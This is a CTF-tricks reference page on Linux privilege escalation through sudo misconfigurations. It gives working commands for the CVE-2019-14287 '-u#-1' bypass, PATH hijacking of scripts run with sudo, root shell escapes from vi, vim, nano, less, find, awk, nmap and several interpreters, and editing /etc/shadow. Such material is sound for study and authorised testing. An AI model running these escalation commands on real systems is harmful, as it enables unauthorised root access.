> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/sudo/privilege-escalation-sudo-misconfiguration.md). # Misconfiguration ## Sudo Bypass !root Restriction If you find a `sudo -l` entry similar to `(ALL, !root) /path/to/command`, it indicates you can run `/path/to/command` as any user *except* root (UID 0). This restriction, however, could be bypassed in certain vulnerable `sudo` versions, specifically those before 1.8.28. This vulnerability, tracked as CVE-2019-14287, allows a user restricted from running a command as root to run it as root by specifying a user ID of -1 or its unsigned equivalent, 4294967295. This is because the `sudoers` logic that checks against the Runas list had a bug where a user ID of -1 incorrectly matched 0 in the default configuration. To attempt this bypass, execute the command using the `-u#-1` flag: ```bash sudo -u#-1 /path/to/command ``` For example, if the `sudo -l` output is `(ALL, !root) /bin/bash`, you can try to get a root shell with: ```bash sudo -u#-1 /bin/bash ``` If vulnerable, this command will launch `/bin/bash` with UID 0, providing a root shell. *** ## Sudo Script PATH Hijacking If a script executed with `sudo` calls another command or script without providing its full path, you might exploit PATH hijacking. When a command is executed without a full path, the system searches for an executable file with that name in the directories listed in the `$PATH` environment variable, in the order they appear. If a vulnerable script or program executed via `sudo` does not use a secure method (like `secure_path` in `sudoers`) to define the search path for commands it executes, it might use the user's potentially controlled `$PATH`. To exploit this, you create a malicious script or executable with the same name as the command/script being called by the vulnerable `sudo` process. You then place this malicious file in a directory you control that appears earlier in the target user's `$PATH` environment variable than the legitimate command's location. For example, if a script runnable with `sudo` calls `full-checkup.sh` without a path, and `/home/svc` is writable and in the user's PATH before `/opt/scripts` (where the real `full-checkup.sh` might be), you can do: ```bash echo 'sudo su' > /home/svc/full-checkup.sh && chmod +x /home/svc/full-checkup.sh ``` Alternatively, if the target command was `ls` and `/tmp` was writable and early in the PATH: ```bash export PATH=/tmp:$PATH echo "/bin/bash" > /tmp/ls chmod +x /tmp/ls ``` Then, when the vulnerable script is executed via `sudo`: ```bash sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup ``` Or if the `sudoers` entry allowed executing a command name like `sudo backup.sh` without a full path, and a writable directory like the current one (`.`) was in the PATH before the legitimate location: ```bash echo "/bin/bash" > ./backup.sh chmod +x ./backup.sh sudo backup.sh ``` Your malicious `full-checkup.sh` from `/home/svc` (or `/tmp/ls`, or `./backup.sh`) will be executed with root privileges, granting you a root shell because the system found your malicious version first by traversing the `$PATH` variable. The `secure_path` option in the `sudoers` file is designed to prevent this by providing a fixed, safe path for commands executed by `sudo`, overriding the user's PATH. A typical `secure_path` might look like: ``` Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" ``` If `secure_path` is used and the command being called is not found within the directories listed in `secure_path`, the system will not fall back to searching the user's potentially compromised `$PATH`. The vulnerability often arises when `secure_path` is not set, is misconfigured, or the `sudoers` entry explicitly allows using the user's environment. *** ## Sudo Vi Escape via UID -1 When attempting to escalate privileges on a Linux system, one of the first things you should always check is what sudo permissions the current user has available. In Linux, sudo stands for “super user do”. Whenever you execute a command in Linux and prefix it with sudo, it is executed with root privileges using their passwords instead of the root’s one. This is simple to check by running the following command: ```bash sudo -l ``` This command will list all available sudo permissions for your account. The command will display a list of all the programs that can be run as sudo. System administrators will usually provide certain users sudo capabilities to run a particular set of commands. The `/etc/sudoers` file contains a list of users or user groups with permission to execute a subset of commands while having the privileges of the root user or another specified user. The syntax of entries in the `sudoers` file generally follows this pattern: `user ALL=(ALL) ALL`\ The first section is about the user, the second about the terminal from which the user can use the sudo command, the third is about which users he can act as, and the last about which commands he can run when using sudo. The above line means that the root user can run from all the terminals, can act as any (ALL) user, and can run any commands. `%sudo ALL=(ALL) ALL`\ This means users in the `sudo` group have the privileges to run any command. `Bob ALL = (root) NOPASSWD: /usr/bin/python`\ In this example, user Bob can run python from any terminal, and can run as a root user without the password. You might identify a `sudo -l` entry allowing execution of `vi` as `(ALL, !root) NOPASSWD`, like: ``` (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt ``` In this `sudoers` rule, the `NOPASSWD` directive allows the user to execute the specified command (`/usr/bin/vi /home/gwendoline/user.txt`) without needing to enter their password. The `(ALL, !root)` part specifies that the command can be run as any user (`ALL`) except for the `root` user (`!root`). This configuration prevents explicitly running `sudo -u root ...` or `sudo -u 0 ...`. The `sudo -u` option typically allows you to execute a command as if you were another user, provided this privilege is granted in the `sudoers` file. However, you can often bypass the `!root` restriction by specifying UID -1 using the `#` prefix. This vulnerability (CVE-2019-14287) allows a user to execute commands as user ID -1, which is interpreted as 0 (root) because of an integer underflow. Execute `vi` with UID -1: ```bash sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt ``` This should launch `vi` with root privileges. The contents of the file `/home/gwendoline/user.txt` don’t actually matter here. What we are aiming for is to have an active session of `vi` running as root, which we can then leverage to obtain a root shell. This works because `vi` itself has the ability to run terminal commands as a built-in feature. So, if `vi` is open and running as root, and we instruct it to spawn a shell, that shell will also have root privileges. Once inside `vi`, use its built-in escape command to spawn a shell: ```vim :!sh ``` Press Enter. Alternatively, you can use: ```vim :!/bin/bash ``` This will also spawn a shell. This action will drop you into a root shell. Confirm your privileges with `whoami` or `id`. **Other Sudo-able Programs for Privilege Escalation** Similar to `vi`, other programs, if listed in the `sudo -l` output with permissions to be run as root, can be exploited to gain a root shell. Here are a few examples: **Find**\ If a user has sudo permission to run the `find` command without a password, it can be used to break out from restricted environments by spawning an interactive system shell. The `-exec` action can be used to run commands on the files found by the `find` command. ```bash sudo find . -exec /bin/sh \; -quit ``` **Vim**\ If the `vim` binary is allowed to run as superuser by sudo, the elevated rights are not removed and it can be used to access the file system, escalate, or maintain privileged access. A direct way to get a shell is: ```bash sudo vim -c ':!/bin/sh' ``` **Nano**\ If the `nano` binary is allowed to run as superuser by sudo, the elevated rights are not removed and it can be used to access the file system, escalate, or maintain privileged access.\ First, run nano with sudo: ```bash sudo nano ``` Then, inside nano, press `^R` (Ctrl+R) followed by `^X` (Ctrl+X). At the prompt, enter: ``` reset; sh 1>&0 2>&0 ``` **AWK**\ If the `awk` binary is allowed to execute as a superuser via sudo, the following command can be used to escalate privileges: ```bash sudo awk 'BEGIN {system("/bin/sh")}' ``` **Nmap**\ If the `nmap` binary is allowed to execute as a superuser via sudo, you can generate an Nmap script file and run that script with `sudo nmap` to gain root access.\ First, create a script file (e.g., `shell.nse`): ```bash echo "os.execute('/bin/sh')" > shell.nse ``` Then, execute Nmap with the script: ```bash sudo nmap --script=shell.nse ``` **Bash**\ If the `bash` shell is permitted to run via sudo, you can directly obtain a root shell. ```bash sudo bash ``` **Less**\ If permitted to run `less` as root, you can spawn a shell from within it. ```bash sudo less /etc/profile ``` Inside less, type: ``` !/bin/sh ``` **More**\ Similar to `less`, if `more` is permitted to run as root, you can spawn a shell. ```bash sudo more /etc/profile ``` Inside more, type: ``` !/bin/sh ``` **Man**\ If `man` is permitted to run as root, you can spawn a shell from within the man pager. ```bash sudo man less ``` Inside man, type: ``` !/bin/sh ``` **Ed**\ If the `ed` editor is permitted to run as root, you can spawn a shell. ```bash sudo ed ``` Inside ed, type: ``` !/bin/sh ``` **Python**\ If the `python` interpreter is permitted to run as root via sudo, you can execute system commands. ```bash sudo python -c 'import os; os.system("/bin/sh")' ``` **Perl**\ If the `perl` interpreter is permitted to run as root via sudo, you can execute system commands. ```bash sudo perl -e 'exec "/bin/sh";' ``` **Ruby**\ If the `ruby` interpreter is permitted to run as root via sudo, you can execute system commands. ```bash sudo ruby -e 'exec "/bin/sh"' ``` **Lua**\ If the `lua` interpreter is permitted to run as root via sudo, you can execute system commands. ```bash sudo lua -e 'os.execute("/bin/sh")' ``` **PHP**\ If the `php` interpreter is permitted to run as root via sudo, you can execute system commands. ```bash sudo php -r 'system("/bin/sh");' ``` **Tcl**\ If the `tclsh` interpreter is permitted to run as root via sudo, you can execute system commands. ```bash sudo tclsh ``` Inside tclsh, type: ``` exec /bin/sh ``` **Env**\ If the `env` command is permitted to run as root via sudo, you can execute a shell directly. ```bash sudo env /bin/sh ``` These examples illustrate that many common Linux utilities, if misconfigured in the `sudoers` file to allow execution with root privileges, can become vectors for privilege escalation. Always carefully review the output of `sudo -l`. *** ## Sudo Vim Escape to Root Shell If a user has `sudo NOPASSWD` permissions to run `/usr/bin/vim`, this common misconfiguration allows for straightforward privilege escalation. Leverage vim's built-in capability to execute shell commands with elevated privileges. If you can run `sudo vim` with NOPASSWD, then you can get root access. One method is to execute vim with the `-c` flag to immediately run an internal command: ```bash sudo /usr/bin/vim -c ':!/bin/sh' ``` This command instructs vim to start and instantly execute `:!/bin/sh`. The `:!command` syntax runs the specified command (`/bin/sh` in this case) in a subshell using the privileges of the user running vim (root via sudo), effectively granting a root shell. Note that the shell path (`/bin/sh`) might need to be adjusted depending on the target system (e.g., to `/bin/bash`). An alternative using bash would be: ```bash sudo vim -c ':!/bin/bash' ``` Another way to achieve this is to simply start vim with sudo: ```bash sudo vim ``` Once inside the vim editor, you can execute shell commands directly. The `:!` command in Vim allows you to execute shell commands. To get a root shell, type: ```vim :!/bin/bash ``` or ```vim :!/bin/sh ``` Press Enter. This executes the specified shell command (`/bin/bash` or `/bin/sh`) in a subshell with root privileges because vim was invoked with `sudo`. Alternatively, you can use the `:shell` command inside vim to drop into an interactive shell: ```vim :shell ``` This command starts an interactive shell. If you invoked vim as root, the subshell will be root. Beyond getting a shell, the ability to run `sudo vim` also allows for reading and writing arbitrary files as root. This can be used to modify sensitive system files like `/etc/shadow` or `/etc/sudoers` to create new privileged users or grant passwordless sudo to an existing user. For example, to edit `/etc/shadow`: ```vim :e /etc/shadow ``` After making modifications, you can save the file with root privileges: ```vim :w /etc/shadow ``` These methods demonstrate how `sudo NOPASSWD` permissions on `vim` can be severely abused for privilege escalation.